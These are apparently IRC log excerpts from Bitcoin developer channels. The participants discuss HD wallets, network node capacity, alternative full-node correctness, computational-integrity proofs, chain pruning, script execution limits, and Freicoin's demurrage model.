13:14 < petertodd> adam3us: nah, it's silly to be signing shit, remind yourself how HD wallets work... you don't need to sign addresses derived from them, spendability only with the HD seed is guaranteed anyway
13:14 < adam3us> petertodd: i think this is an instructive analog: banks do not use third party auth (openid, CA issued certs without pinning, or site enrolment) becaus tehy want to control their own security
13:15 < petertodd> also if you are signing stuff, then that encourages you to keep your keys online, which is bad...
13:15 < petertodd> adam3us: yes, and then they can tell their customers their PGP fingerprint and do it that way...
13:15 < adam3us> petertodd: not signing data just the one-use address
13:15 < petertodd> adam3us: yes, and given HD seed S and nonce n S+n is a one-use address that only S' can spend
13:22 < adam3us> petertodd: yes this is true, but only if the site and user share a sub-wallet & chain code (which they can do, and maybe should do for recurring biz)
13:22 < adam3us> petertodd: but i was thinking maybe with a signature on the one-use address, whch the user can strip before using on the network, you get that kind of spender simple tofu verification
13:25 < petertodd> adam3us: timo's pay-to-contract makes a lot of sense there you know... yeah, now maybe you really do what a address that can't be proven to have anything to do with the hd seed, but why not extend that initial thing to sign a bunch in advance? again, you don't want to encourage keeping that long-term-id key online often
16:39 < nanotube> to soon? :P
16:43 < nanotube> ... slowly getting my connection count back after node restart. up to 88 now.
16:57 < HM3> why aren't node addresses stored persistently?
16:57 < sipa> they are
16:57 < sipa> peers.dat
16:59 < HM3> ah
17:54 < nanotube> what's the default expiration of errors? i'm still seeing the 'check date and time' error in getinfo, though my timeoffset has settled to 0. (probably initially caused by my initial peer set being significantly off, i recall gmax mentioning something about there being some mistimed peers out there.)
18:00 < gmaxwell> nanotube: some error never go away (unless replaced by another one), thats one of them.
18:01 < nanotube> doh
18:02 * nanotube thinks it should go away once timeoffset drops below some threshold
18:02 < nanotube> though... it's rather immaterial.
18:07 < nanotube> well would you lookit this, a live bitcoin node counter: http://getaddr.bitnodes.io/
18:08 < HM3> cool site
18:08 < gmaxwell> yea, except the numbers on the front page are pure bullshit.
18:08 < gmaxwell> (they're counting addr messages)
18:08 < gmaxwell> if you click through to the report, e.g. http://getaddr.bitnodes.io/194/
18:09 < gmaxwell> the field "nodes_version (version)" is how many they actually connected to.
18:09 < HM3> i don't know why that is bad
18:09 < HM3> what is nodes_getaddr?
18:10 < gmaxwell> how many unique IPs they got from address messages.
18:10 < gmaxwell> which includes scads and scads of never-reachable addresses, due to god knows what.
18:11 < HM3> but those nodes may be connected out right?
18:11 < gmaxwell> Some, but most? Unlikely, considering the addresses include e.g. huge ranges of sequential numbers.
18:11 < nanotube> gmaxwell: oh... crap. and there i was being happy we have 100knodes.
18:12 < HM3> so probably people with dynamic IPs
18:12 < gmaxwell> HM3: out only nodes don't announce themselves in any case.
18:12 < HM3> stale messages
18:12 < HM3> ah
18:12 < gmaxwell> HM3: and moronic dos attacks, and misconfigured firewalls, and who knows what.
18:13 < sipa> my crawler tracks 66k addresses now
18:13 < sipa> of which it considers 3.8k "good"
18:13 < nanotube> what's 'good', how many have been reachable within the past 30days?
18:13 < sipa> it has also banned 730k addresses for being consistently bad :p
18:13 < nanotube> heh
18:13 < sipa> the rules are fuzzy and too complex
18:14 < sipa> go read the source :p
18:15 < nanotube> haha well, 'really roughly'
18:16 < HM3> so probably bigger than Tor in terms of relay nodes, but probably smaller than the number of skype users who signed off in the time it took me to type this.
18:16 < nanotube> lol yea
18:16 < gmaxwell> well, in particular, it means we're dangerously close to runing out of sockets.
18:17 < gmaxwell> (even absent an attack)
18:17 < HM3> what?
18:17 < gmaxwell> as 4000*125/8 = 62500 ... so it means that we can only support 62500 nodes with good listeners (including bitcoinj nodes and such that would never announce)
18:18 < nanotube> hm well, it seems we're not /that/ close. after a day-ish of uptime, i'm only at 83 connections out of 512.
18:18 < gmaxwell> nanotube: 83 is 66% of the normal capacity.
18:18 < nanotube> if we were really close, i presume my slots would fill up much faster.
18:18 < gmaxwell> (I think 2/3 is not super comfortable)
18:19 < gmaxwell> (and the /16 limitation means that we're not very equally distributed)
18:19 < sipa> nanotube: https://github.com/sipa/bitcoin-seeder/blob/master/db.h#L103
18:19 < nanotube> sure, i dig.
18:19 < gmaxwell> It's not urgent yet, but it seems we have a trend that isn't good either.
18:19 < HM3> what's this socket limit about?
18:20 < nanotube> HM3: listener nodes allow 125 max inbound connections by default.
18:20 < gmaxwell> HM3: we have memory usage per peer, so there is a limit to the number of concurrent peers. Right now the default limit is 125 (and few nodes adjust that)
18:20 < nanotube> non-listener nodes try to make 8 outbound.
18:21 < HM3> oh i see
18:22 < gmaxwell> Obviously one path is to try to really get the per peer resources down so we could have nodes with a thousand peers or whatever... but thats resource heavy, and still leaves the network more DOS vulnerable than one with just more nodes.
18:22 < HM3> so you need a listening node to out node ratio of 125:8
18:22 < nanotube> though 4k listening nodes at 125 each suggests that we should have 500k open slots.
18:22 < HM3> with perfect meshing
18:23 < gmaxwell> nanotube: yes, but nodes use 8 slots... sooooo. at 62k we start to saturate.
18:23 < HM3> err 8 : 125
18:24 < gmaxwell> of course, this is absent attacks. One issue with this model is that an attacker with a single IP can use 1/slots of the whole network's capacity, even if we implement kicking off duplicate connections. (thus conversations about things like proof of storage and private bloom queries)
18:24 < nanotube> gmaxwell: yea, but if we put in your logic about randomly dumping peers based on some scoring criteria, thus ensuring node churn, being at 62k nodes won't be a big problem.
18:25 < nanotube> but yes, certainly it's something we need to think about before it becomes a problem.
18:25 < gmaxwell> nanotube: or at least less of one, if the order of nodes drops too far the risk of partitioning increases. (though thats a reason e.g. to priortize peers that give you novel transactions and blocks)
18:26 < nanotube> mm
18:26 < nanotube> anyway.. foodtime. o/
18:26 < HM3> Why is there a high memory cost to a connection?
18:26 < sipa> buffers
18:27 < HM3> I mean I have a Bittorrent client that maintains hundreds of connections
18:27 < sipa> and quite some state
18:27 < HM3> still uses less memory than bitcoind
18:27 < gmaxwell> HM3: most of bitcoinds memory is not connections right now.
18:29 < HM3> any thoughts on how you'll solve it?
18:30 < sipa> adding a builtin solitaire in bitcoin-qt may increase the number of fullnodes?
18:30 < gmaxwell> We need more nodes regardless, we could do things to scale up the connection count... but I think thats less important simply because if we have only a couple thousand nodes its too trivial to dos them regardless of their max connection counts.
18:30 < gmaxwell> Once we have headers first and pruning there should be less disavantage to running full nodes.
18:31 < gmaxwell> It may also be that we can't solve it before a major outage happens, because right now users don't think they have any personal reason to take the costs of running a full node. :(
18:32 < HM3> bundling. integrate bitcoind in to a popular torrent client so people can tip seeders :P you'll have millions overnight
18:33 < gmaxwell> and then someone implements another version that uses a SPV node instead, and you'll lose millions overnight.
18:34 < HM3> well then you play the starving hacker card and say serving "Linux ISOs" is a team sport
18:34 < gmaxwell> If that worked, then we could use Bitcoin users
who presumably already have more skin in keeping bitcoin running.
18:35 < sipa> fancy graphs!
18:35 < sipa> and some animations
18:35 < sipa> how the chain is being built
18:35 < sipa> matrix-style
18:35 < HM3> defrag style
18:35 < HM3> coloured blocks
18:36 < sipa> yeeeees
18:39 < HM3> how many fullnode implementations are there out there now?
18:40 < gmaxwell> correct ones? who the fuck knows. I have very little confidence in the other teams, most of them have not even run and passed the block tester.
18:40 < gmaxwell> It's a very hard task.
18:40 < sipa> bitcoinj has one (certainly incomplete), btcd, bitsofproof, ...
18:40 < sipa> no idea how correct they are
18:40 < sipa> i'm sure there are a ton other attempts
18:40 < HM3> i think btcd guy said he had passed some of your tests?
18:40 < gmaxwell> btcd talked a good talk but was trivially forked.
18:40 < sipa> but those are certainly near-complete
18:41 < HM3> ah
18:41 < sipa> gmaxwell: which rule did they miss?
18:41 < gmaxwell> sipa: they were evaluating validity in untaken branches in scripts.
18:41 < sipa> ah
18:41 < gmaxwell> (and their response was to try to report it as a bug and suggest we fix it)
18:42 < HM3> lol
18:42 < gmaxwell> ::shrugs::
18:42 < HM3> please do, i might be richer on that fork :P
18:42 < sipa> do they even understand the concept of a hardfork?
18:42 < sipa> or rather, the distinction between soft and hard forks
18:42 < gmaxwell> I don't know. I can't tell. They're eager to please.
18:42 < gmaxwell> So everything I say they agree with.
18:44 < gmaxwell> (which I suppose is better than arguing with everything) But I just don't know how hard they're working at it. They've not discovered any surprising behavior on their own, which is my normal benchmark, but that only works for so long.
18:44 < gmaxwell> (eventually I become all knowing and so no implementations can tell me something I didn't know. :P)
18:45 < sipa> which, ironically, makes you the #1 person capable of writing an alt fullnode
18:45 < jgarzik> maxcoin?
18:45 < sipa> i wonder how well i'd do implementing bitcoin from scratch, only looking up constants and opcodes and stuff
18:47 < sipa> BlueMatt: seems the comparisontool jar you gave me doesn't even accept current bitcoind...
18:47 < sipa> as in git head, pre-headersfirst
18:48 < gmaxwell> There are degrees of knowing. I knew how the evaluation logic worked, but I might have made the same evaluation mistake even though I "knew" better.
18:49 < HM3> it's probably easier to make a specification for the post-hardfork version
18:50 < sipa> HM3: i've been wanting to write a bitcoin-like thing from scratch for a while, with all sillyness (in my opinion, of course) fixed :p
18:50 < gmaxwell> well, don't think a good spec magically makes this stuff easy. It just makes it slightly less awful.
18:50 < HM3> sure, and nobody follows specs anyway
18:50 < sipa> finding time for that is obviously a joke
18:51 < jgarzik> a good spec is simply Knuth's semantic programming
13:59 < gmaxwell> HM_: yea, I'd like to think of some examples that don't involve breaking the law. But I don't know that there really are any: if your trade is not likely to bring fire, you can use a trust public mediator for an escrow.
13:59 < HM_> if it's expensive to verify it has to be expensive to generate as well though
13:59 < HM_> otherwise you can flood the network with candidate solutions and DDoS the whole thing?
14:00 < gmaxwell> HM_: you can use hashcash to solve that. (or make candidates pay you a small amount of bitcoin) no problem.
14:00 < HM_> hmm yeah
14:01 < HM_> so it's a C subset?
14:01 < gmaxwell> The validation is actually cheap for this kind of thing... but still slower than ecdsa in practice.. which would keep us from putting the validator directly in bitcoin,
14:02 < gmaxwell> they invented a mips like register based machine language, and made GCC (dragonegg/llvm) able to compile to it. It doesn't have floating point IIRC.
14:02 < realazthat> mmm
14:02 < realazthat> fp can be done on top
14:02 < gmaxwell> sure.
14:02 < realazthat> thats really cool hehe
14:03 < realazthat> mmm I'd want to play with that
14:03 < gmaxwell> Or you just write fixed point code. No biggie. The bigger problems is that it's not fast and needs lots of ram on the prover side.
14:03 < gmaxwell> But it sounds efficient enough to be actually usable for _something_ now.
14:03 < gmaxwell> And they've actually implemented it.
14:04 < realazthat> yeah, I just wanna play with it external to bitcoin
14:04 < realazthat> are they to release the codes?
14:04 < realazthat> I hope so
14:11 < gmaxwell> Yes. They were talking about setting up a github page and such.
14:11 < gmaxwell> and, it sounded like they were willing to make it available in advance to bitcoin wizard types interested in working with it.
14:12 < gmaxwell> I haven't asked for it yet simply because I do not have enough bandwidth to do something with it in the next few days....
14:12 < gmaxwell> But I'd really like to actually execute that protocol I described, and make a zero knoweldge contingent payment. Just need to figure out something to buy thats sexier than a cracked password.
14:13 < gmaxwell> (I wish the xkcd thing were ongoing, I could buy a solution to that! :P )
14:15 < realazthat> lol
14:18 < gmaxwell> Ah. Perhaps I could buy the infinitely good solution from Randall Munroe. (and get him to reopen submissions, so that 'Bitcoin' could be the top of the list)
14:19 < realazthat> mmm
14:19 < realazthat> can you explain the xkcd reference?
14:22 < gmaxwell> http://www.explainxkcd.com/wiki/index.php?title=1193:_Externalities
14:26 < gmaxwell> http://almamater.xkcd.com/ (I'm xiph.org with the 392 score)
14:27 < gmaxwell> Only tied with stanford :(
14:27 < realazthat> oh the hashing competition :D
14:28 < gmaxwell> Randall actually knows the preimage. (or at least, he indicated that he did in IRC)
14:29 < realazthat> haha
14:29 < realazthat> do you need that to use it as a challenge?
14:30 < gmaxwell> 'that'?
14:30 < realazthat> the preimage
14:31 < gmaxwell> No, he could have made a challenge with a random target (or a target of all zeros). The fact that the target had 'high entropy' suggests that he knows the preimage... and as I said, he said that he did.
15:17 < BlueMatt> gmaxwell: or...just make it so no one has to download the chain ever again...
15:17 < BlueMatt> "but the chain is 100GB" go fuck yourself, just use computational integrity
15:19 < gmaxwell> I said that " for example, you could use these techniques to produce checkpoints that can't cheat."
15:19 < BlueMatt> well, you dont expect me to read the whole scrollback, do you?
15:20 < gmaxwell> BlueMatt: it's not realastic yet... well, I joked that if we got all of google's computing power for a week perhaps we could compute a CI signature. :P
15:20 < gmaxwell> er realistic.
15:20 < BlueMatt> yea, I know, I just keep hoping
15:20 < gmaxwell> At least the naive way of doing it... really the biggest problem is all the state needed in validation to track unspent coins.
15:25 < BlueMatt> yea, maybe when we all have 512GB ram in every machine...
15:25 < gmaxwell> BlueMatt: not even 'every' ... the validation side doesn't sound terrible.
15:26 < BlueMatt> ahh, well then we just need to find a computer to do the original signing...
15:26 < BlueMatt> lets get TD/sipa to do it...
15:29 < BlueMatt> I wonder how much it has to go back over the data during the signing (or if swapping it out to an ssd would actually work)
15:30 < gmaxwell> Right. TD had mentioned some unrelated work on garbled circuits was intractable until some software engineers had a go at it and reorged the algorithim to work in a streaming-from-disk manner.
15:31 < gmaxwell> The other problem with this stuff is that getting people convinced that the process is sound might be hard. Apparently their work has something like 400 pages of dense mathmatical proofs behind it.
15:31 < BlueMatt> ahhhh
15:32 < BlueMatt> well, I dont know that I would really trust it immediately (or for the next few years) anyway...
15:32 < gmaxwell> But of course, actually _using_ it for something would make good incentives to attack it!
15:32 < BlueMatt> still, the idea that it will clearly be possible in the immediate future means the argument that the chain is growing too fast (and not the utxo set) is invalid
15:33 < sipa> gmaxwell: but will verifying the proof be cheaper than just verifying the chain?
15:34 < gmaxwell> For some size of the chain it should be. The complexity is polynomial on the size of the program (the rules) you're validating.
15:34 < gmaxwell> (complexity of validating)
15:34 < sipa> ic
15:34 < sipa> magic :S
15:34 < BlueMatt> as long as its similar and you can throw out the chain data itself instead of still having to distribute the chain in the form of input data
15:35 < gmaxwell> BlueMatt: I don't agree. You're streaching. You still need the bandwidth to recieve blocks to actually use the network in real time. It just means the history bloat will be less of an issue perhaps.
15:35 < gmaxwell> stretching*.
15:35 < BlueMatt> yes, thats my point
15:35 < BlueMatt> its just blocks/time instead of total blocks
15:35 < BlueMatt> (in data)
15:35 < gmaxwell> I don't think anyone has argued that the history is an issue. Mostly people are willing to ignore the bootstrap time/cost. (maybe thats unwise too)
15:36 < BlueMatt> Ive heard it once or twice
15:37 < gmaxwell> well you've heard me say it wrt pruning and needing to be really careful about how we handle it (e.g. that I want to have addr message signal that nodes have random subsets of the chain in addition to just the most recent few thousand blocks).. but thats still true, since this stuff probably won't be pratical for bootstrap for a couple years at best.
15:37 < gmaxwell> But thats not a scaling concern... it's a pruning concern specifically.
15:38 < BlueMatt> meh
15:39 < gmaxwell> I don't want the network to depend on having archive nodes to bootstrap. Esp when there will be plenty of users happy to donate more disk space but not as much as a full archive. Archive nodes, if thats all we have, will be quite costly to operate... and I can reliably predict people will start saying "more people should use SPV nodes" as an answer to
archive nodes being totally saturated.
15:40 < gmaxwell> People should be able to pick the disk space they donate to the network continuously from utxo only all the way up to archive.
15:41 < BlueMatt> not sure we need /that/ much flexibility, but chunks of tens of thousands of blocks yea
15:42 < BlueMatt> would be interesting to split that off into a separate bootstrap network
15:44 < gmaxwell> yea, I just want node to be able to signal a single range in addition to a range from top.
15:44 < gmaxwell> More ranges would be nice but I don't think they're important.
15:46 < gmaxwell> e.g. a service flag that says it keeps the last 2016, and a range that it has 120000-160000.
15:47 < petertodd> warren: keepbitcoinfree.org
15:48 * BlueMatt :(
15:48 * BlueMatt isnt opposed to making most bootstrap on some 3rd party network
15:48 < petertodd> BlueMatt: btw you may want to argue over email with me - I won't be on irc much in the next week
15:49 < BlueMatt> meh, we clearly fundamentally disagree
15:49 < BlueMatt> not sure arguing helps any there
15:49 < petertodd> not surprising
15:49 < petertodd> after all, it's not a technical decision, it's about what you value in bitcoin
15:49 < BlueMatt> not really
15:49 < BlueMatt> well, at least not the way that video presented it
15:49 < BlueMatt> in the extreme, sure
15:50 < gmaxwell> BlueMatt: just be really careful that you're not treating "other network" as magic. There are reasons why you can do this better with integration with our network, as well as by knowing about the data you're working with.
15:50 < BlueMatt> gmaxwell: meh, its easier to treat it as magic...
15:50 < petertodd> it was really interesting being at the developer round table, talking about scalability stuff, and when it was over a half dozen argentinian investors surrounded me with questions - they were extremely concerned about centralization and anonymity
15:50 < BlueMatt> but, no, yea it makes more sense on our network, but it would have to be half-separated
15:51 < BlueMatt> petertodd: I have no doubt that scare-videos scare people...
15:51 < gmaxwell> BlueMatt: our trackerless torrent hardly works
requires a weakly trusted party to give you the torrent ID (and wastes your time/bandwidth if its wrong). External network doesn't make it trivial for bitcoin participants to turn a knob to control their contribution level, unless we bundled the third party network software and increase our attack surface.
File trading protocols get people banned from some networks for reasons unrelated t
15:52 < BlueMatt> gmaxwell: yes, this is why it does actually make more sense to put it on a standard bitcoin p2p network
03:43 < Taek42> I was wondering if it would be possible to build a higher-level lanugage on bitcoin script
03:43 < Taek42> right
03:43 < Taek42> Image a C-like that output bitcoin-script instead of assembly
03:43 < stonecoldpat> michagogo|cloud: jesuscoin i love it
03:43 < justanotheruser> Yes, it wouldn't be turing complete, but it would allow for turing complete scripts that get cut off if they run too long (so pseudo-turing-complete)
03:44 < justanotheruser> well not cut off, but only be accepted if they have a limited run time
03:44 < Taek42> As long as you have a reliable way of measuring where the scripts get cut off
03:44 < Taek42> because all hosts would need to agree if a script took too long to terminate
03:44 < justanotheruser> Taek42: it would be like measuring where transactions get cut off. The miners determined it
03:44 < justanotheruser> (in terms of size)
03:45 < Taek42> hmmm
03:47 < justanotheruser> The transactor could say how many cycles the script should take in the header. If it takes more than that, then the miner can spend the transaction themselves maybe? (This is the best way I can think of preventing DoSing miners with large scripts
03:47 < justanotheruser> I suppose that would limit the ability to give people scripts that they can spend later though
03:48 < justanotheruser> well actually nvm the statement directly above this
03:48 < justanotheruser> you should build these scripts so they can't run arbitrarily longly, otherwise someone will donate the tx to miners
03:49 < justanotheruser> nsh: Are you saying this system would hurt stability of the price?
03:50 < nsh> not necessarily, just that things tend toward instability as the degrees of freedom increase
03:51 < justanotheruser> nsh: when you say degrees of freedom do you mean it in the mathematical sense, or could I substitute degrees with amount?
03:51 < Taek42> nsh I'm not sure I agree with that
03:52 < nsh> mathematical, but perhaps i'm wrong
03:52 < nsh> certainly in mechanical dynamic systems you are more likely to exhibit chaotic behaviour when you have more (dynamically coupled) degrees of freedom
03:52 < justanotheruser> nsh: could you explain what a degree of freedom is in these terms then?
03:53 < nsh> "In mechanics, the degree of freedom (DOF) of a mechanical system is the number of independent parameters that define its configuration. It is the number of parameters that determine the state of a physical system"
03:53 < justanotheruser> nsh: Are you saying bitcoin price would be more stable if it didn't have p2sh?
03:53 < nsh> no
03:54 < justanotheruser> doesn't p2sh add a DOF?
03:54 < nsh> the price stability derives from the network stability, which derives from everyone's behaviours being constrained (by "enlightened self-interest") to keep things working in some defined manner
03:55 < nsh> yes, but you're making stronger assertions :)
03:55 < Taek42> depends on what you mean by network
03:56 < justanotheruser> nsh: Does another DOF hurt network stability?
03:56 < Taek42> bitcoins price instability derives from the fact that the volume in circulation can't adjust to the demand
03:56 < Taek42> and the demand has been all over the map
03:56 < nsh> justanotheruser, depends
03:56 < nsh> what i proposed was that as the number of DoFs increases then the entire system _tends_ towards more unstable behaviour
03:57 < justanotheruser> hm
03:57 < nsh> to go from that to saying adding one DoF neccessarily increase instability requires some additional evidence
03:57 < justanotheruser> I'm not sure if I agree with you. I don't think it makes in less stable unless it makes it less secure
03:57 < nsh> and anyway, i'm probably just smoking crack
04:00 < justanotheruser> Another advantage I see in this is a limit on CPU intensive scripts. No longer will we have to worry about transactions that take a long time to validate but are inexpensive because they take up little physical space
04:19 < sipa> the reason why turing complete scripts are a bad idea is because you cannot determine the cost of running without running
04:19 < sipa> even if it's not actually turing complete and limited to some high amount of cycles
04:21 < nsh> which means easy DoS attacks?
04:22 < Taek42> If you had it in a sterile environment (no malware issues), I would think that the only problem would be large scripts (too much data) or long scripts (too much runtime)
04:23 < Taek42> wouldn't limiting the cycles prevent that?
04:27 < sipa> if one transaction costs 1000 times more to validate than another, you need pretty good policying to make sure it is deincentivized
04:31 < Taek42> or you could charge each transaction equal to the theoretical limit on how expensive it is
04:31 < Taek42> then the miners will be happy
04:31 < Taek42> or you could wait to charge until you know how many clock cycles were spent validating it
04:35 < sipa> the problem is that mining is constrained by size, so will end up picking transactions with sufficient fee per byte
04:35 < sipa> if you want the same incentive for execution, you need a hard limit per block on validation cost
04:35 < sipa> which complicates optimal transaction selectiom
09:40 < petertodd> sipa: I really don't see what the big deal is; you have to execute the script anyway yourself to validate that the transaction is valid. Adding opcode counters to Eval() isn't a big deal.
09:40 < petertodd> sipa: sure there's some theoretical static analysis stuff you could do, but it's consensus critical - keep it simple and stupid
09:53 < andytoshi> petertodd: suppose i make a script which has fee for 100000 iterations, but runs for 100001, so it can't validate
09:53 < andytoshi> is there a nice way to prevent a DoS along those lines?
09:54 < petertodd> andytoshi: probably not, but at least that's a local DoS attack - lots of those
09:55 < petertodd> andytoshi: anyway, a csript can't exceed the limit for a whole block by definition, and block propagation has to be fast, thus it can't be that much of an issue
09:55 < andytoshi> yeah, fair enough, i guess people are free to make IsStandard reject anything that might take too long for their system
09:55 < andytoshi> also a good point
09:55 < petertodd> andytoshi: yup
09:56 < petertodd> andytoshi: and static analysis is all well and good, but like I say, it'd be in consensus critical codepaths...
09:57 < andytoshi> yeah, perhaps it's a meta-problem that people will try to do it if they see a benefit
09:57 < petertodd> lol!
09:58 < andytoshi> the real problem i see with turing-completeness is that the block limits you'd have to put on it are too stringent for anything cool to be done
09:58 < andytoshi> OTOH if we could do snark-validation so only one person (potentially the transactors themselves) ever have to compute it, i'd be happy with it
09:58 < petertodd> yeah, but like I say, until we get SCIP you have to have limits because you have to actually run the code to validate! turing completeness has nothing to do with that
10:22 < gmaxwell> andytoshi: certantly the block limits you'd have to have would be too stringent to do anything interesting if the instruction set weren't very high level, and if we had to assume execution via a very dumb interperter.
10:22 < gmaxwell> the latter is probably true, the former not so much.
10:23 < gmaxwell> This isn't to say I'm necessarily a fan of turing complete script. I do think getting an execution counter right is hard.
10:23 < petertodd> gmaxwell: just do a MAST design and make sure your MAST hash function is more costly than anything else...
10:24 < adam3us> btw about pegged side-chain, i think the actual spv proven side->main protocol would not need to be run. its just a threat that it could be run. cross chain-atomic swaps can do the actual swap. and market makers can do it. if volume dries up or mkt maker low on funds he can clear via side->main spv proof.
10:24 < nsh> petertodd, what's MAST?
10:24 < gmaxwell> adam3us: it needs to be run some, but perhaps not much.
10:24 < petertodd> nsh: merkleized abstract syntax tree
10:25 < nsh> ah, ty
10:25 < gmaxwell> petertodd: I don't think it would be efficient to force every branch to be mast, besides loops with unknown depth can't be seperately mast-ed.
10:25 < adam3us> gmaxwell: yes. it depends on the willingness of mkt maker to hold btc funds someone with big long term btc holdings anyway would be willing to mkt make all-day-long for 0.1% or whatever, its near free risk free money for executing a script. its a form of interest for btc holdins
10:26 < petertodd> gmaxwell: which is my serious point: turing completeness often gives you more efficient code in cpu and code size
10:26 < gmaxwell> adam3us: I mean, you'd need to have at least one execution to get funds there in the first place.
10:27 < gmaxwell> petertodd: certantly low level opcodes do not.
10:27 < gmaxwell> adam3us: but yea, that was part of my point when we previously discussed. It can be expensive because it's not a primary daily mechenism.
10:27 < adam3us> gmaxwell: agreed. mkt makers might need to do rare large tx in which ever direction is leading to a liquidity exhausting direction. but the mkt maker spread should be tiny as anyone holding btc can do it, and they can do it with airgap security if they want trezor/armory so there should be lots of security
10:28 < adam3us> gmaxwell: agreed. i think everything i just said was in the original thread. just emphasizing how cool that is :)
10:29 < gmaxwell> sipa: I think you could perhaps resolve the selection complication by just counting each byte as one instruction too, and have only an instruction limit. Then at least the optimization can remain in one dimension.
10:29 < gmaxwell> I still think implementors will totally screw up their instruction counting, esp when slower scripts start driving them ot JIT.
10:30 < gmaxwell> it might help if every signature needed to have its final instruction count with it, and they're forced to match exactly.
05:02 < maaku> by reorg attack you mean 51% / 100% attack?
05:02 < petertodd> maaku: oh! actually, this is perfect: voting on the inflation rate naturally has an opposed set of incentives - set a minimum rate, and let people proof-of-stake vote increases in it.
05:02 < petertodd> maaku: or really s/inflation/demurrange/ to make it PR acceptable
05:02 < EasyAt> maaku: I'm curious what warren means by reorg attack
05:03 < petertodd> maaku: which is perfect because demurrange is the only sane way to fund mining long-term (+ tx fees, but never only tx fees)
05:03 < warren> maaku: lots of the little pure PoW coins seem to come under reorg attacks often
05:03 < warren> but I never hear of it happening to freicoin
05:04 < petertodd> maaku: I suspect with rates like 0.1% to 3-5% the loss per year is low enough that users may be willing to vote it up, which is fine, and gives some agility to attacks that might do soem good.
05:05 < EasyAt> petertodd: Is it still demurrange implies the value is being redstributed to miners whether the currency is tranferring or now.
05:05 < maaku> petertodd: we haven't found a way to auto-regulate demurrge rates, or voting scheme which doesn't assume the electorate is alturistic macroeconomics professionals
05:05 < EasyAt> As in you have a tax just for holding and not moving currency
05:06 < EasyAt> inflation essentially
05:06 < maaku> hence the fixed 4.9% ... a fluctuating rate would actually be ideal, but I don't know how to do that securely and safely
05:06 < maaku> EasyAt: no, it's a fee on all money, fullstop. moving or hoarding doesn't make a difference.
05:06 < EasyAt> intersting
05:06 < EasyAt> So no penalty whether you move or hold
05:07 < maaku> well, the same penalty i guess
05:07 < maaku> warren: we've not really been subject to such attacks
05:07 * maaku knocks on wood
05:07 < maaku> but really it makes no difference what pow algorithm you use
05:07 < warren> I know
05:07 < maaku> i assume you're talking about 51% attacks
05:07 < warren> yes
05:07 < petertodd> maaku: right, but my point being, the worst outcome is the rate drops down to some low minimum value hopefuily high enough to keep attackers at bay indefinitely. The best outcome is that if it looks like miners do need more incentive, human alturism can do some good. Will that happen? Who knows, but the downside is just technical risk.
05:07 < EasyAt> Is a reorg attack a 51% attack? or something very similar
05:08 < maaku> warren: long term, we're moving to merged mining
05:08 < EasyAt> maybe less hash stake then 51% but getting lucky and reoring in your favor?
05:08 < warren> EasyAt: You don't need 51% to do a "51%" attack.
05:08 < EasyAt> warren: that's what i mean
05:09 < EasyAt> maybe less hash stake then 51% but getting lucky and reoring in your favor?
05:09 < EasyAt> is what i said
05:09 < maaku> petertodd: if the goal is just to provide limited income to miners, that's a good strategy. i could see it reaching steady-state at the security & profit break-even point (but maybe there are some game dynamics at play too)
05:09 < maaku> but with freicoin, the desire is 0% basic interest, which I don't believe such a scheme would achieve
05:11 < maaku> warren: we have done the easy stuff (fix time traveller bug, no asymmetrical diff adjustment, etc.), but also we have a much faster acting (but stable!) FIR-filter difficulty adjustment algorithm
05:11 < maaku> so that also helps
05:13 < petertodd> maaku: thing is you don't care about profit, you just care that a given % of the total value of the coin goes to paying for hashing power guaranteed.
05:13 < petertodd> maaku: I'm not seeing how that turns into game dynamics assuming reasonable decentralization
05:16 < maaku> petertodd: so in freicoin there are two knobs to tweak: (1) the demurrage rate, and (2) how much of that goes to the miners (vs other distribution mechanisms, such as the above-mentioned 'republicoin' proof-of-stake voting)
05:17 < petertodd> maaku: right, where I'm proposing a system with just knob #1
05:17 < maaku> i can see how a secure voting mechanism could lead to the latter (although I don't have such a protocol, yet), but not the former
05:17 < maaku> yeah i figured you don't care about the other aspect, but that's the context in which I'm working on this
05:17 < petertodd> no, I think it's the other way around, because the former have opposite incentives than the latter, guaranteed. (assuming no external attack threat)
05:18 < petertodd> after all, miners can always refuse to mine a transaction due to too-low fees - refusing to mine because of too-low % vote is not much different
05:18 < petertodd> and if anything, that's much less likely to be gamed in many senses
05:18 < maaku> i think that's what I meant - it's late here, i must have switched them in my mind
05:18 < petertodd> ah good
05:19 < petertodd> speaking of, I proof-of-stake vote all the demurrange to myself
05:20 < maaku> i expect you could construct a voting scheme for regulating the rate of income given to miners, I don't think a voting scheme would work to set demurrage rate at what is necessary to achieve 0% basic interest
05:20 < petertodd> "0% basic interest"?
05:21 < maaku> petertodd: do you have majority stakeholder vote?
05:21 < petertodd> maaku: not yet, but the moment I do it's a tipping point...
05:21 < maaku> we're anticipating that if we structure the elections properly, we will have competing factions that form governments, and the real-world outcome is that you won't get 51% votes to "pay ourselves"
05:22 < maaku> i'd like to formalize that argument before we deploy though
05:22 < petertodd> yeah, probably true enough
05:22 < maaku> hence the name "republicoin"
05:22 < petertodd> I'd sure as hell formalize it - just look at all the screwy things with incentives that have been found lately
05:22 < maaku> yeah
05:23 < maaku> basic interest == liquidity preemium, when we're talking about currency
05:23 < petertodd> rght
05:23 < petertodd> *right
05:27 < maaku> Gesell wrote several monographs showing how the parasitic behavior of the financial industry and government, and the ruinous effect that has on society is due to the liquidity preemium
05:27 < maaku> https://www.community-exchange.org/docs/Gesell/en/neo/
05:28 < maaku> so the experiment of freicoin is: set the liquidity preemium = 0%, and see if that helps create positive economic incentives, as predicted
05:29 < petertodd> ...and the experiment you actually have wound up running, is will cryptocoin people ever adopt anything with demurrange?
05:30 < maaku> haha, suprisingly the answer is a mild yes
05:30 < maaku> but no, we've been targetting groups outside of bitcoind
05:30 < petertodd> indeed, and I wasn't saying that in a negative way! I'm quite happy to see *that* experiment happen even if I don't give a damn about economic theory :)
05:31 < maaku> while most freicoin users may have heard of, downloaded, and maybe used bitcoin, most of them did not become active until they got involved with freicoin
05:31 < maaku> and we've mainly been reaching out to monetary reform groups, which suprisingly haven't heard of or done anything with bitcoin either
05:31 < petertodd> there were some occupy types adopting it or something similar IIRC?
05:32 < petertodd> and agreeing to use a decentralized demurrange cryptocurrency is wonderfully democratic
05:32 < maaku> we framed the original crowdfund campaign in the language of occupy, but suprisingly there was very little interest
05:32 < maaku> we've seen interest peak the most in the regional/community currency movement
05:32 < petertodd> huh, too abstract maybe
05:33 < maaku> possibly, or maybe even too concrete. the problem with occupy is that they all have agreement on the problems, but 100 protestors have 101 different solutions in mind
05:33 < maaku> this wasn't the solution any of the occupy people we talked to had in mind ;)
